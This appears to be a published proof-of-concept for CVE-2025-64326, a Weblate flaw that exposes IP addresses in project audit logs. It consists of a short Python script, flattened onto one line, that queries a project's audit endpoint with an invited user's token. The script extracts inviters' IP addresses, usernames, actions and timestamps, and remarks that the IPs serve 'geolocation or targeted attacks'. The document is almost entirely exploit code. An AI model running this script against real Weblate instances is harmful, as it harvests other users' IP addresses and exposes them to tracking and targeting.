CVE-2025-64326: Weblate审计日志IP地址泄露漏洞

# CVE-2025-64326 PoC - Weblate IP Address Disclosure in Audit Log # This PoC demonstrates the information disclosure vulnerability import requests import json TARGET_URL = "https://vulnerable-weblate-instance.com" ATTACKER_TOKEN = "attacker_user_token" PROJECT_SLUG = "target_project" def exploit_ip_disclosure(): """ Steps to exploit CVE-2025-64326: 1. Attacker receives invitation to a project 2. Attacker authenticates and views audit log 3. Attacker extracts inviter's IP address from audit entries """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Step 1: View project audit log (requires invitation acceptance) audit_url = f"{TARGET_URL}/api/projects/{PROJECT_SLUG}/audit/" response = requests.get(audit_url, headers=headers) if response.status_code == 200: audit_data = response.json() print("[+] Successfully accessed audit log") # Step 2: Extract IP addresses from audit entries leaked_ips = [] for entry in audit_data.get('results', []): if 'ip_address' in entry: ip = entry['ip_address'] action = entry.get('action', 'unknown') user = entry.get('user', {}).get('username', 'unknown') leaked_ips.append({ 'ip': ip, 'action': action, 'user': user, 'timestamp': entry.get('timestamp') }) print(f"[+] Leaked IP: {ip} (User: {user}, Action: {action})") return leaked_ips else: print(f"[-] Failed to access audit log: {response.status_code}") return [] def main(): print("=" * 60) print("CVE-2025-64326 - Weblate Audit Log IP Disclosure PoC") print("=" * 60) leaked_ips = exploit_ip_disclosure() if leaked_ips: print(f"\n[!] Successfully extracted {len(leaked_ips)} IP address(es)") print("[!] These IPs can be used for geolocation or targeted attacks") else: print("\n[-] No IP addresses found or access denied") if __name__ == "__main__": main()